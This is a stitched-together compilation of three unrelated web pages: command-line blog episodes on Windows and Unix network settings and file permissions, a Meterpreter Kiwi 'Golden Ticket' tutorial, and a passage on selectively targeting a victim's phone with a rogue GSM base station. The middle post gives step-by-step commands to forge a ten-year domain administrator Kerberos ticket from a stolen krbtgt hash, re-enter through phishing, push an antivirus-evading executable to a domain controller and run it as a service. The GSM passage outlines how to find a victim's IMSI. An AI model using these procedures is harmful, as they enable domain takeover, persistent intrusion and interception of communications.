their results elsewhere. I then introduce another variable called fullname,
which is the value of name itself \(when referring to delay-expanded vars, we
use \!var\! and not %var%\), but with a substring operation of \(~1, 4\),
which means that I want characters starting at an offset of 1 and printing
four characters \(in this case digits\). With offset counting starting at 0,
we are shaving off that leading 1 from our ten-thousand-to-high iterator. I
throw the output of my dir command away \(>nul\) as well as its standard error
\(2>nul\).  
  
Then, I use the || operator, which I mentioned in Episode \#47, to run the
echo command only if the dir command fails \(i.e., there is no such file\). I
display the name of the missing file, and the word "Missing".  
  
There are many other ways to do this as well, such as using IF NOT EXIST
\[filename\]. But, my initial approach used dir with the || to match more
closely Hal'sl use of &&. The IF statement is far more efficient, though,
because it doesn't require running the dir command and disposing of its
standard output and standard error. So, we get better performance with:  

[code]

    c:\> cmd.exe /v:on /c "for /l %i in (10001,1,11300) do @set name=%i &  
        set fullname=!name:~1,4!.jpg & IF NOT EXIST !fullname! echo !fullname!   
        Missing"
    
[/code]

In the end, we have a method for generating leading zeros without using nested
loops by instead relying on substring operations, all to make the rather
unreasonable Mr. Pomeranz happy. :\)

Posted by Hal Pomeranz at 5:00 AM <img src='img/Temp2_1517.gif' width='18'
height='18' />

## Tuesday, August 11, 2009

### Episode \#55: Fishing for Network Configs

Ed kicks it off:  
  
Man, we've covered a lot of topics in our 54 episodes prior to this one. But,
in our rush to get you the latest chocolate-covered command-line fu,
occasionally we've missed some fundamentals. People write in with questions
\(which we love\) about such items, inspiring a new episode. Back in May, we
received a great question from Johnny C:  
  
> I have a suggestion for command line kungfu.  
> I need to be able to change my IP Address back and forth from DHCP  
> where everything is dynamic to a dedicated IP address.  
> I've worked with this for a while and my problems have been not able  
> to update DNS on Windows  
  
Ah... good one, sir\! Let's face it: the built-in Windows GUI associated with
network configuration changes is horrible... forcing numerous clicks through
various screens to make even small tweaks. At least we don't have to live
through the dreaded reboots of the Windows 95 era just to change IP addresses
anymore.  
  
On Windows, for manipulating network configs at the command line, netsh rocks,
and it can do what you want, Johnny C, and much more. In fact, when I've got a
lazy summer afternoon with nothing better to do, I fire up netsh \(or the
equally fun and interesting wmic command\) and just explore, sometimes for
hours on end. The netsh command \(like wmic\) can run in two modes: either as
a little command interpreter of itself \(by typing netsh and hitting Enter\)
lending itself to exploration, or as a single shot command of netsh followed
by various options.  
  
To get a glimpse of the capabilities of netsh, run the following:  

[code]

    C:\> netsh  
    netsh> ?  
      
    The following commands are available:  
      
    Commands in this context:  
    ..             - Goes up one context level.  
    ?              - Displays a list of commands.  
    abort          - Discards changes made while in offline mode.  
    add            - Adds a configuration entry to a list of entries.  
    advfirewall    - Changes to the `netsh advfirewall' context.  
    alias          - Adds an alias.  
    bridge         - Changes to the `netsh bridge' context.  
    bye            - Exits the program.  
    commit         - Commits changes made while in offline mode.  
    delete         - Deletes a configuration entry from a list of entries.  
    dhcpclient     - Changes to the `netsh dhcpclient' context.  
    dump           - Displays a configuration script.  
    exec           - Runs a script file.  
    exit           - Exits the program.  
    firewall       - Changes to the `netsh firewall' context.  
    help           - Displays a list of commands.  
    http           - Changes to the `netsh http' context.  
    interface      - Changes to the `netsh interface' context.  
    ipsec          - Changes to the `netsh ipsec' context.  
    lan            - Changes to the `netsh lan' context.  
    nap            - Changes to the `netsh nap' context.  
    netio          - Changes to the `netsh netio' context.  
    offline        - Sets the current mode to offline.  
    online         - Sets the current mode to online.  
    p2p            - Changes to the `netsh p2p' context.  
    popd           - Pops a context from the stack.  
    pushd          - Pushes current context on stack.  
    quit           - Exits the program.  
    ras            - Changes to the `netsh ras' context.  
    rpc            - Changes to the `netsh rpc' context.  
    set            - Updates configuration settings.  
    show           - Displays information.  
    unalias        - Deletes an alias.  
    winhttp        - Changes to the `netsh winhttp' context.  
    winsock        - Changes to the `netsh winsock' context.  
    wlan           - Changes to the `netsh wlan' context.  
    
    
[/code]

  
Nice\! Lots of very useful stuff, including "interface" and "firewall" \(the
latter of which we discussed in Episode \#30\). There's also some really nifty
settings for ipsec \(on 2003 and later\) and wlan \(on Vista and later\)
contexts. To change to an individual context, just type its name \(such as
"interface"\) and then type ? at the netsh> prompt to get more info about it.
You can then navigate down by entering follow-up commands and contexts, and
then pop back up to earlier contexts entering a command of dot-dot \(".."\). I
wish there was a "back" command instead of .., but I can cope. There's even a
pushd and popd command for netsh contexts, rather similar to the pushd and
popd for directories we discussed in Episode \#52.  
  
One of my most common uses of netsh is to change IP address settings of the
machine. In the spirit of the cliche "Give a man a fish and feed him for a
day... teach him to fish and feed him for life", let me show you how you can
fish around inside of netsh.  
  
We first invoke netsh and then move to the interface context:  
  

[code]

    C:\> netsh  
    netsh> interface  
    netsh interface> ?  
    
    
[/code]

  
Here, you can see options for various elements we can configure on the
machine. Of particular interest to us now is ip \(on XP and 2003\) or ipv4
\(on Vista and later\). Happily, you can just type "ip" on Vista, and it will
take you to the ipv4 context, so our netsh commands for changing addresses and
such are compatible between various versions of our beloved Windows operating
system.  
  

[code]

    netsh interface> ip  
    netsh interface ip> set ?  
    
    
[/code]

  
Now, we can get a sense of the various items we can set, including addresses,
dns, and wins. But, wouldn't it be nice if Windows would give us examples of
how to set each? Well, ask and ye shall receive:  
  

[code]

    netsh interface ip> set address ?  
    Usage: set address [name=]  [[source=]dhcp|static] [[address=][/] [[mask=]  
    ] [[gateway=]|none [gwmetric=]] [[type=]unicast|anycast] [[subinterface=]  
    ] [[store=]active|persistent]                               
      
    Examples:  
      
      set address name="Local Area Connection" source=dhcp  
      set address "Local Area connection" static 10.0.0.9 255.0.0.0 10.0.0.1 1  
    
    
[/code]

  
If you'd like to get a list of all interfaces available on the machine, you
could run \(from the normal C:\> prompt, not within netsh\):  
  

[code]

    C:\> netsh interface show interface
    
[/code]

  
  
I know... it looks like it is redundantly repeating itself twice back to back,
and it is. But, that's the command. Now, we know how to refer to our network
interfaces for manipulating them.  
  
Then, to set an IP address, we could just run the command:  

[code]

    C:\> netsh interface ip set address name="Local Area Connection"  
    static 10.10.10.10 255.255.255.0 10.10.10.1 1  
    
    
[/code]

  
This will set our IP address to 10.10.10.10, with a netmask of 255.255.255.0,
a default gateway of 10.10.10.1, and a routing metric \(number of hops to that
gateway\) of 1.  
  
For DHCP, we simply run:  

[code]

    C:\> netsh interface ip set address name="Local Area Connection" source=dhcp  
    
    
[/code]

  
OK.... now to answer Johnny C's specific question, setting our primary DNS
server:  
  

[code]

    C:\> netsh interface ip set dnsserver name="Local Area Connection"  
    static 10.10.10.85 primary  
    
    
[/code]

  
And, if you'd rather get that info from DHCP, you could use:  

[code]

    C:\> netsh interface ip set dnsserver name="Local Area Connection" source=dhcp  
    
    
[/code]

  
I frequently find myself changing between my laboratory network and my
production network, which have completely different IP addressing schemes. To
help make a quick switch between them, I don't use those one of those goofy
network configurator GUIs, because, well, they are kind of tawdry. Instead,
I've created two simple scripts that I keep on my desktop: test.bat and
prod.bat. Each one contains two netsh commands. The first command sets my IP
address, netmask, and default gatewy for either prod or test, and the second
command sets my DNS server. When I want to invoke them, I simply run them with
admin privs \(based on either being logged in as admin, or right clicking and
selecting "run as administrator"\).  
  
Hal kicks it old school:  
  
Where the Windows way is to have one big command that does everything,
remember the Unix design religion is to have a bunch of small commands that do
simple things and then combine them to produce the effect you want. It doesn't
help that Unix systems have been networked devices since the earliest days of
the Internet-- we've got multiple generations of command interfaces to deal
with. But let me try to hit the high points.  
  
Suppose our system is normally configured to use DHCP but we want to manually
move it onto a new network with a static address assignment. Step one is to
change your IP address with the ifconfig command:  
  

[code]

    # **ifconfig eth0 10.10.10.1 netmask 255.255.255.0**  
     # **ifconfig eth0**  
     eth0      Link encap:Ethernet  HWaddr 00:0C:29:18:C3:0D   
             inet addr:10.10.10.1  Bcast:10.10.10.255  Mask:255.255.255.0  
             inet6 addr: fe80::20c:29ff:fe18:c30d/64 Scope:Link  
             UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
             RX packets:55 errors:0 dropped:0 overruns:0 frame:0  
             TX packets:158 errors:0 dropped:0 overruns:0 carrier:0  
             collisions:0 txqueuelen:1000  
             RX bytes:7542 (7.3 KiB)  TX bytes:32712 (31.9 KiB)  
             Interrupt:18 Base address:0x2024
    
[/code]

  
As you can see from the example above, you can also use ifconfig to display
information about an interface's configuration \("ifconfig -a" will display
the configuration information for all interfaces on the system\).  
  
However, changing the IP address with ifconfig doesn't have any impact on your
routing table. You'll probably need to add a default route when you change the
IP address:  
  

[code]

    # **route add default gw 10.10.10.254**  
     # **netstat -rn**  
     Kernel IP routing table  
    Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface  
    10.10.10.0      0.0.0.0         255.255.255.0   U         0 0          0 eth0  
    0.0.0.0         10.10.10.254    0.0.0.0         UG        0 0          0 eth0
    
[/code]

  
I should note that as you move from on Unix distribution to another, the route
command syntax tends to change in minor ways, rendering a command that is
syntactically correct on one system completely useless on another. The above
example is for Linux. Oh and by the way, if your DHCP configuration has
created a default route for the network you used to be on, you can remove it
with "route del default gw <ipaddr>".  
  
The last thing you have to do is update your list of local DNS servers. This
list is configured in /etc/resolv.conf. Most DHCP clients will simply
overwrite the contents of this file with the name servers and local domain
they learn from their DHCP servers, but you can also edit this file directly.
A sample file might look like:  
  

[code]

    nameserver 10.10.10.100  
    search somedomain.com
    
[/code]

  
Replace "somedomain.com" with the default domain you want the host to use for
looking up unqualified host names. You can have multiple "nameserver" lines in
your file for redundancy. However, I warn you that the timeout on the first
lookup is long enough that your users will pick up the phone and call you to
tell you the "network is down" before the system fails over to the next name
server in the list.  
  
The combination of ifconfig, route, and editing your resolv.conf file should
be sufficient to get you manually moved onto a new network. The more
interesting question is how to you revert back to using DHCP to configure your
network interface? Assuming your machine is configured by default to use DHCP,
the easiest thing is to just shut down and then reactivate your network
interface. Of course the process for doing this is _completely_ different for
each Unix system you encounter. On most Linux systems, however, the following
will work:  
  

[code]

    # **ifdown eth0**  
     # **ifup eth0**  
      
     Determining IP information for eth0... done.  
    # **ifconfig eth0**  
     eth0      Link encap:Ethernet  HWaddr 00:0C:29:18:C3:0D   
             inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0  
             inet6 addr: fe80::20c:29ff:fe18:c30d/64 Scope:Link  
             UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
             RX packets:56 errors:0 dropped:0 overruns:0 frame:0  
             TX packets:228 errors:0 dropped:0 overruns:0 carrier:0  
             collisions:0 txqueuelen:1000  
             RX bytes:7884 (7.6 KiB)  TX bytes:44273 (43.2 KiB)  
             Interrupt:18 Base address:0x2024
    
[/code]

  
By the way if you're looking for your static network interface configuration
information, you'll find it in /etc/sysconfig/network-scripts/ifcfg-eth0 on
Red Hat systems \(including CentOS and Fedora\) and in /etc/network/interfaces
on Debian systems. This is the place where you can set the default interface
configuration parameters to be used when booting. Be aware, however, that on
modern Ubuntu systems network configuration is under the control of
NetworkManager by default-- a GUI-based network configuration tool very
reminiscent of the Windows network configuration GUI. Helpful for people
coming over from the Windows environment I guess, but kind of a pain for us
old farts who are used to configuring network interfaces with vi.

Posted by Ed Skoudis at 5:00 AM <img src='img/Temp2_1517.gif' width='18'
height='18' />

## Tuesday, August 4, 2009

### Episode \#54: chmod Squad

Hal says:  
  
I was doing some work for a customer recently that involved a lot of
manipulating file system permissions and ownerships and I realized that we've
not yet had a Command Line Kung Fu Episode on this subject. That's just
crazy\! So let's address this shortcoming right here and now.  
  
You're probably familiar with the chown command for changing the owner \(and
group owner, if desired\) of a file or group of files. Add the "-R"
\(recursive\) option, and you can set the ownerships on an entire directory
structure:  
  

[code]

    # **chown -R hal:users /home/hal**
    
[/code]

  
These days you typically have to be root to use the chown command. In the
olden days of Unix, it was common to allow any user to use chown and let them
"give away" their own files to other users. But this caused problems for
systems that used disk quotas because it was a loophole that allowed malicious
users to consume other users' quotas. And in the really old days the chown
command wouldn't strip execute bits when files were chowned, thus allowing you
to create set-UID binaries belonging to other users-- obviously a huge
security problem.  
  
The problem with having to chown everything as root, however, is that all too
often I see administrators making a mistake like this:  
  

[code]

    # **cd /home/hal**  
     # **chown -R hal:users .***     # *NEVER* DO THIS! DANGER!
    
[/code]

  
Why is the above chown command so dangerous? The problem is that the glob
".\*" matches the ".." link that points back to the parent directory of the
current directory. So in the example above we're going to end up making the
entire /home file system owned by "hal". This is actually incredibly difficult
to recover from, short of restoring from a backup, because it's not safe to
assume that every file in a user's home directory is going to be owned by that
user.  
  
Anyway, the safe way to chown a user's "dot-files" and directories is:  
  

[code]

    # **chown -R hal:users .[^.]***     # SAFE
    
[/code]

  
The "\[^.\]" means "match any character EXCEPT period", thus protecting you
from matching the ".." link. Of course it would also skip files and
directories named things like "..example", but you wouldn't expect to find
these in a typical file system.  
  
Having set the ownerships on a set of files, you can also control the access
rights or permissions on those files. There are three categories of
permissions-- the permissions for the primary owner of the file \("user"
permissions\), the group owner of the file \("group" permissions\), and
"everybody else" \("other" in Unix parlance\). For each group you can allow
"read" access \(view the contents of a file or get a listing of a directory\),
"write" \(modify the contents of a file or add, remove, and/or rename files in
a directory\), and/or "execute" privileges \(execute a file as a program or
access files in a directory\). In "absolute" mode with the chmod command, we
express these permissions as a vector of octal digits: "read" is 4, "write" is
2, and "execute" is 1. Here are some common examples:  
  

[code]

    $ **chmod 755 /home/hal**     # rwx for me, r+x for group and other  
    $ **chmod 666 insecure**      # rw for everybody, "world writable"  
    $ **chmod 700 private.dir**   # only I have access here
    
[/code]

  
Because the default assumption for the Unix operating system is to create
world-writable files and directories, we use the umask value to express which
bits we want NOT to be set when new files are created. The common Unix umask
default is "022" which means "don't set the write bits for group and other".
Some sites enforce a default umask of "077", which requires you to explicitly
use chown to all others to access your files \("discretionary access control"
is the term usually bandied about here\).  
  
There's actually an optional leading fourth digit you can use with the chmod
command, which covers the "set-UID" \(4\), "set-GID" \(2\), and "sticky-bit"
settings \(1\). Here are some examples showing the typical permission settings
for some common Unix programs and directories:  
  

[code]

    # **chmod 4755 /bin/su**              # set-UID  
    # **chmod 2755 /usr/sbin/sendmail**   # set-GID  
    # **chmod 1777 /tmp**                 # "sticky"
    
[/code]

  
The "sticky-bit" is another interesting piece of Unix history. Back in the
very old days when computers, disks, and even memory were vastly slower than
they are today, there was a significant start-up cost with loading a program
into memory before execution. For commonly-used programs like ls, the total
overhead was enormous. So certain executables were marked with the "sticky-
bit" as a signal to the kernel so that the program image would tend to "stick
around" in memory so that the program didn't have to constantly be reloaded.
Of course, in the age of shared libraries plus fast disks and memory this use
has long since stopped having any value. Nowadays, the sticky bit is used as a
marker on world-writable directories like /tmp and prevents anybody except the
owner of the file from removing or renaming the file.  
  
As you're probably aware, chmod also supports "symbolic" mode for expressing
changes to the permissions of files:  
  

[code]

    $ **chmod go-w insecure**   # strip the write bits for group and other  
    $ **chmod a+x myscript**    # make file executable for everybody ("all")  
    $ **chmod +x myscript**     # same as above
    
[/code]

  
The first part of the syntax is the groups to apply the permission change to:
"u" for the primary user or owner of the file, "g" for the group owner, and
"o" for other or everybody else. You can also use "a" to represent all groups,
or just leave it off completely because "a" is the default. The next item in
the symbolic description is a plus or a minus sign depending on whether you're
"adding" or "subtracting" permission bits. Finally you specify the bit\(s\)
you want to add or subtract.  
  
Why is symbolic mode useful? Well, I recently needed to make an entire
directory structure be only accessible by its owner. You can't really use
absolute file modes for this, because while "chmod -R 600 ..." would work fine
for regular files, it wouldn't do for the directories \(directories must have
"x" set to be usable\). "chmod -R 700 ..." would be fine for directories, but
not appropriate for regular files. You could hack something together with
find, but it's much easier to just do:  
  

[code]

    # **chmod -R go-rwx /some/directory**
    
[/code]

  
This strips all bits for the "group" and "other" categories, but leaves the
current permissions for the owner of the file alone.  
  
Unfortunately, I now have to turn things over to Ed. I say "unfortunately",
because I'm going to have to endure his gloating about the higher level of
permissions granularity implemented in NTFS as compared to the typical Unix
file system. To this my only response is, "Oh yeah? Tell me about ownerships
and permissions in FAT file systems, boyo."  
  
Ed responds:  
I thought we had an agreement to never bring up FAT. As far as I'm concerned,
it never happened. NTFS has been with us since Day 1. Yeah... right.  
  
Anyway, since Hal brought up FAT, I'll address it briefly. There is no concept
of security with FAT file systems. Every user is God and can access
everything. It's a relic from the days when DOS \(and later Windows\) machines
were expected to be single-user systems not connected to, you know, a network
or anything. The security model was to diligently implement no security model
whatsoever. Mission accomplished\!  
  
But, then, there came NTFS. Ahhh... finally, a modern file system for Windows
boxen. NTFS has the concept of ownership and even more fine-grained controls
than our Unix brethren have. As Windows NT matured into Windows 2000 and then
XP/2003, and then Vista/2008 and beyond, these fine-grained permissions and
the ability to manipulate them at the command line has expanded significantly.
In fact, we're now to the point where these features are simultaneously
flexible enough to use yet complex enough to be overwhelming and almost
unusable. That happens a lot in the Windows world.  
  
From the command-line, we can see the ownership of a file or directory using
the dir command with the /q option:  
  

[code]

    C:\> dir /q
    
[/code]

  
Nice\! Easy\! Cool\!  
  
Yeah, but wait. Now things get ugly. If the hostname\username is particularly
long, it will be truncated in the display, which allocates only 23 characters
for the hostname backslash username. None of the other output formatting
options of dir \(/b, /w, /d, and /x\) fix this, because they either override
/q \(leaving off the ownership info\) or keep the truncation. This problem is
livable, but still kind of annoying.  
  
To change the owner of a file or directory, a la the Linux chown command, we
can use the icacls command found in 2003 SP2, Vista, 2008, and Windows 7, as
follows:  
  

[code]

    C:\> icacls [filename] /setowner [username]
    
[/code]

To change the owner in a recursive fashion, use the /t option with icacls,
because, as everyone knows the word "recursive" has no letter t in it. That
makes it easy to remember, right? \(Actually, I think they were going after
the mnemonic for "tree", but a /s or even a /r would be more palatable\). And,
/c makes icacls continue despite an error with one or more files as it is
processing through a /t or wildcard.  
  
Now, look at that list of supported Windows versions for icacls... there's an
important one missing from the list. Which one? Queue the Jeopardy music and
pause. Sadly, it's our good friend, Windows XP. Unfortunately, I haven't found
a way at the command line using only built-in tools to change owner in XP. You
could mount the XP system's drive from a 2003/Vista/2008/7 box and run icacls,
but that's not exactly using built-in tools, now, is it? You can copy the 2003
SP2 version of icacls.exe to Windows XP, and it'll work... but again, that's
not exactly using built-in tools, and I have no idea whether that violates
some sort of Windows license limitation. And, I don't want to know, so don't
send me any mail about it.  
  
The Vista version won't run on XP though. I've also found that icacls on 2003
\(whether running in 2003 or... ahem... copied to XP\) is quite buggy as well,
often giving errors when trying to change owners. This 2003 icacls fail is a
known issue documented by Microsoft, and they released a hotfix for it which
is seldom installed. So, does this count as not using a built-in command? :\)  
  
To change ownership in the GUI on XP, you can apply a ridiculous process
described by Microsoft here.  
  
Now, XP does include the cacls command \(not icacls\), as does Win2K and all
of the later versions of Windows. The cacls command lets you change
permissions, the rough equivalent of the Linux chmod command. But, cacls will
not let you change the owner.  
  
The syntax for the cacls command lets us specify the file or directory name we
want to change, followed by a bunch of potential options. We can grant access
rights with /G \[user:perm\]. The perms supported at the command line are R
\(Read\), W \(Write\), C \(Change, sometimes referred to as "Modify" in
Windows documentation\), and F \(Full Control\). These rights are actually
conglomerations of the very fine grained rights built-into NTFS, which are
described here.  
  
We can revoke these access rights with /R \[user\]. Note that you cannot
revoke individual rights \(R/W/C/F\), but instead you revoke all of them at a
given time for a user. Revocation is an all-or-nothing situation. The /E is
used to edit the existing ACL, as opposed to the default, which replaces the
ACL. We often want to use /E so that we don't blow away any access rights
already there. There is also a /D \[user\] option in cacls, which explicitly
denies the user access to the object, again on an all or nothing basis. These
deny rights override any allow rights, thankfully.  
  
With that overview under our belts, to frame the following fu, I'd like to
mimic Hal's commands, mapping them into the Windows world to the extent we
can.  
  
We start with Hal's first command:  

[code]

    $ **chmod 755 /home/hal**     # rwx for me, r+x for group and other  
    
    
[/code]

In Windows, we can achieve the same thing with these three commands:  

[code]

    C:\> cacls [filename] /G [username]:F  
    C:\> cacls [filename] /E /G [groupname]:R  
    C:\> cacls [filename] /E /G Everyone:R
    
[/code]

Note that the R here is a conglomerated Read, which includes reading and
executing the file \(again, those conglomerated rights are defined here\).
Also, in the first command of these three, we've not used /E, so we are
blowing away all existing access rights to start out and adding full control
for our username in the first command. Hal's assigning permissions absolutely,
not relative to existing permissions, so we leave off the /E. In our follow-up
command, though, we edit rights \(/E\) building on with a couple of extra
commands to match roughly what Hal has done.  
  
Next, our sparring buddy ran:  

[code]

    $ **chmod 666 insecure**      # rw for everybody, "world writable"  
      
    
    
[/code]

We can roughly mimic this with:  

[code]

    C:\> cacls [filename] /G [username]:F  
    C:\> cacls [filename] /E /G Everyone:C
    
[/code]

  
Now, the execute capability is baked into both Full control \(F\) and Change
\(C\), so we're not really removing execute capability here. With icacls \(not
cacls\), we can access the fine-grained rights and make a file read-only with:  
  

[code]

    C:\> icacls [filename] /grant Everyone:RW
    
[/code]

Remember, /G is for cacls, and /grant is for icacls. Consistency is a
beautiful thing.  
  
And then, Hal pulled this out of his ear:  

[code]

    $ **chmod 700 private.dir**   # only I have access here
    
[/code]

In our comfy Windows world, we could run:  

[code]

    C:\> cacls [filename] /G [username]:F
    
[/code]

Without the /E above, this snips off everyone else's access.  
  
Hal then wowed us all with:  

[code]

    $ **chmod go-w insecure**   # strip the write bits for group and other  
    
    
[/code]

This one is a bear to do at the command-line in Windows, because the /R option
is all or nothing when revoking permissions. We'd need to analyze the existing
ACL first, and then manipulate it with a /E to build the ACL we want. It would
require a script to do this by my estimation.  
  
Hal then popped off:  

[code]

    $ **chmod a+x myscript**    # make file executable for everybody ("all")
    
[/code]

Which we can do with:  

[code]

    C:\> cacls [filename] /E /G Everyone:R
    
[/code]

Again, in cacls, R includes Read and Execute.  
  
And, finally, Hal did:  

[code]

    # **chmod -R go-rwx /some/directory**
    
[/code]

Which, mapped to our own personal insanity, is:  

[code]

    C:\> cacls [directory] /p [user]:F /t
    
[/code]

In this one, we've used the /p to replace the existing ACLs for the given user
name, which we are giving full control \(F\), in a recursive fashion \(/t\).  
  
Be careful when playing with icacls and cacls, because they are a great way to
very much hose up your system. The icacls command has an option to save ACLs
into a file for later inspection or even restoring from:  
  

[code]

    C:\> icacls [file_or_dir] /save [aclfile]
    
[/code]

  
Again, we have a /t or /c option here. The restore function is invoked with
/restore. It should be noted that the aclfile holds only relative paths. Thus,
if you are going to do a restore, you need to run the command in the same
directory that you used for the icacls /save.

Posted by Hal Pomeranz at 5:00 AM <img src='img/Temp2_1517.gif' width='18'
height='18' />

September 2009 July 2009 Home

Subscribe to: Posts \(Atom\)

## Followers

  *[5:00 AM]: 2009-08-04T05:00:00-04:00

# Meterpreter Kiwi Extension: Golden Ticket HOWTO | Strategic Cyber LLC
**Created:**| _5/14/2014 4:34:38 PM_  
---|---  
**Updated:**| _5/14/2014 4:34:38 PM_  
**Author:**| __  
**Tags:**| _Memory forensics Metasploit_  
  

# Meterpreter Kiwi Extension: Golden Ticket HOWTO

May 14, 2014

Mimikatz is a rapidly evolving post-exploitation toolkit by Benjamin Delpy. I
call it a post-exploitation toolkit because it has a lot of features, far
beyond the ability to dump plain-text passwords.

One of the interesting features in Mimikatz 2.0 is its ability to generate a
Kerberos ticket for a domain administrator with a lifetime of 10 years. This
Kerberos Golden Ticket will continue to work, even if the user its tied to
changes their password. The only way to invalidate these golden tickets is to
change the krbtgt user’s password on the domain controller.

Mimikatz became a Meterpreter extension in 2013, giving Metasploit Framework
users the ability to use it without touching disk. Mimikatz 2.0 is a
significant update to the original Mimikatz and it is available in Meterpreter
as the Kiwi extension. The Kiwi extension was added to the Metasploit
Framework by TheColonial.

In this post, I’ll take you through how to use the Kiwi extension to generate
a golden ticket, apply it to your session, and use your rights to get access
to other hosts.

This tutorial is written for Meterpreter users. If you’d like to use this
technique with Mimikatz 2.0, consult the mimikatz – Golden Ticket tutorial
written by Balazs Bucsay.

### Generate the Golden Ticket

To generate a golden ticket, you will need to get four items:

  * the account name of a domain administrator
  * the domain name
  * the SID for the domain
  * the password hash of the krbtgt user from the Domain Controller

The first two items are easy. On my test domain, the domain administrator user
is Administrator. The domain name is CORP. I’ll trust that you can find these
values on your domain.

An easy way to get the SID for a domain is to open a command shell and type
**whoami /user**. I assume that you’re typing this from the context of an
account that’s part of the domain you’re interested in. This command will
output a SID for the current user. If you drop the last segment of the user’s
SID \(-\#\#\#\#\); the remaining part is the domain’s SID.

<img src='img/Temp2_5334.jpg' alt='sidlookup' />

We also need the password hash of the krbtgt user from the domain controller.
You may obtain this password hash with Meterpreter’s hashdump command or the
smart\_hashdump module.

<img src='img/Temp2_5336.jpg' alt='krbtgthash' />

Now that we have these critical pieces of information, let’s generate a golden
ticket. As with all things Mimikatz, you will want to migrate Meterpreter to a
process that matches the native architecture. If the domain controller is a
64-bit system, migrate Meterpreter to a 64-bit process.

To use Mimikatz 2.0, you will need to load the Kiwi extension. Type **use
kiwi** to do this.

To generate the golden ticket, we will use the **golden\_ticket\_create**
command. Here’s the syntax to use it:

[code]

    golden_ticket_create 
              -u [user]
              -d [domain]
              -k [password hash]
              -s [domain SID]
              -t [/path/to/golden.tkt]
[/code]

This command will generate our Kerberos ticket with a lifetime of 10 years\!
This ticket will live on our local system in the file we specify with the
**–t** flag. This file is particularly dangerous and you must protect it. As
we will see in a moment, this file is our ticket to domain administrator
rights when we need them in the future.

<img src='img/Temp2_5333.jpg' alt='generateticket' />

### Apply the Golden Ticket

Time passes. We lose access to our target network. We’re OK with that. After
some more time, we decide to re-establish our access. We send a phish and we
land ourselves on a workstation.

We may now use our Golden Ticket to gift ourself Domain Admin rights in this
new session. We do not need SYSTEM or local administrator rights to do this.
First, load Mimikatz 2.0 with the use kiwi command in Meterpreter.

Use the **kerberos\_ticket\_use** command to apply the ticket to the current
session.

[code]

    kerberos_ticket_use [/path/to/golden.tkt]
[/code]

At this time, you now have a Kerberos ticket for a Domain Administrator. Use
**whoami** in a command shell to see who you \(still\) are. Use **klist** in a
command shell to verify that the Kerberos ticket is associated with your
session. You should see an End Time that’s ten years from when you generated
the file.

<img src='img/Temp2_5335.jpg' alt='klist' />

### Using Your Rights

A ticket associated with your session is not the same thing as an impersonated
token. Your session continues to run in the context of its original user. When
you try to access some shared resource, Windows will use your “Golden Ticket”
to request a ticket to interact with the other resource. In my experiments, I
found that if I interact with a system using its IP address, I do not get
access. If I interact with a system using its NetBIOS name, things work. I’ll
clarify this with an example.

When I manage to steal an identity on a network, the first thing I do is check
where it’s a local administrator. I do this by trying to interact with an
admin-only share on a remote system. For example:

[code]

    dir \\10.10.10.3\C$
[/code]

If I apply a Golden Ticket to my session, the above will come back with access
denied. If I use the NetBIOS name for the same host, then everything works as
expected:

[code]

    dir \\DC\C$
[/code]

If I want access to that DC, I simply need to copy a file over and schedule it
to run. Cobalt Strike users may use **Attacks** -> **Packages** -> **Windows
Executable** to generate an AV-safe Windows Service EXE.

To upload a file to another host via Meterpreter:

[code]

    upload /root/path/to/your.exe \\\\DC\\C$\\windows\\temp
[/code]

This command will upload the file you specify to c:\windows\temp on the host
you specify. Make sure you escape the backslashes when you specify a UNC path
as an upload destination .

From a command shell, use sc to create a service on the remote system and
start it:

[code]

    sc \\DC create blah binpath= c:\windows\temp\your.exe
    sc \\DC start blah
[/code]

You now have access to the domain controller. There are other ways to abuse
trust to start a process on a remote system and last week’s blog post went
over a number of them.

### Persistent Privileged Access

When I replicate an actor with long-term persistence, I like to live on
workstations and other non-important assets. I don’t like to drop malware on
key servers like the Domain Controller. Skilled network defense teams usually
watch these assets well. They can \(and should\!\) do things on these servers
that don’t scale well to the rest of the enterprise.

When I gain access to a key server, I tend to rely on harvested credentials
and password hashes to regain it later. During exercises, red teams also like
to introduce mis-configurations to secure future access to these servers
\(e.g., Sticky Keys\).

I see the Golden Ticket as a beautiful persistence opportunity. With the
Golden Ticket, I now have the opportunity to turn a short window of access to
a domain controller into the assurance that I may control my target’s
enterprise at will.

The Golden Ticket is a double-edged sword. Generate it once and you have
persistent access to higher privileges. Beware though–once you create this
Golden Ticket, it becomes a liability. If you fail to secure this file
properly, you may inadvertently give someone else the literal key to kingdom.

Posted in metasploit framework **|**

# Taddong Security Blog

**Created:**| _5/11/2011 8:59:23 PM_  
---|---  
**Updated:**| _5/11/2011 8:59:23 PM_  
**Author:**| __  
**Tags:**| _bookmark attacks mobile/embedded gsm_  
  

## Tuesday, May 3, 2011

###  Selective attack with a rogue GSM/GPRS base station

An attacker employing a rogue GSM/GPRS base station usually wants to
compromise the communications of a particular user, while trying to generate
the least possible activity for the rest of mobile users within his radio
range. We call this a “selective attack”. In order to perform it, the attacker
must know the victim’s IMSI \(the number that identifies a SIM card\) in
advance.  
There are two widespread misconceptions regarding this type of attack. Most
people think that:  

A.- It is difficult to obtain the victim’s IMSI, and  
B.- It is difficult not to affect the other users in the radio range of the
rogue base station

  
However, there are some techniques that allow the attacker to solve the
aforementioned issues. In this article we explain one of them as an
illustrative example.

  
**Discovering the victim’s IMSI**  
  

To solve point A, the attacker could do the following:  

  * Step 1: the attacker positions himself in the area where his victim lives \(the victim’s home location\) when the victim is inside and captures all the IMSIs in the range of his rogue base station. He will probably use a directional antenna to limit the geographical area where he is capturing IMSIs. During this operation, the rogue base station will reject all registration attempts from any mobile, but it will annotate the IMSI numbers of the subscribers that are trying to register.
  * Step 2: afterwards \(for example the next working day\), the attacker positions himself in the victim’s office location, and performs the same procedure. It is to be expected that the first IMSI that is present in both IMSI lists will be the one of the victim.
  * Step 3: after that, the attacker should authorize the registration of the victim’s IMSI \(and only this one\) in his rogue base station in order to intercept all its communications. The registration attempts from any other IMSI will be rejected.

**Avoiding affecting the rest of users.**

**  
**Once point A is solved, let’s see how the attacker can tackle point B.
First, and most important, notice that the attacker didn’t leave the
registration open for all mobile stations at any time, thus preventing the
appearance of any symptom that could alert the mobile users in the area \(such
as a sudden change in the coverage indicator, any abnormal error in outgoing
calls, the absence of incoming calls, etc.\) and any overload problem for his
rogue base station \(that will typically have limited capabilities for traffic
and call management\).  
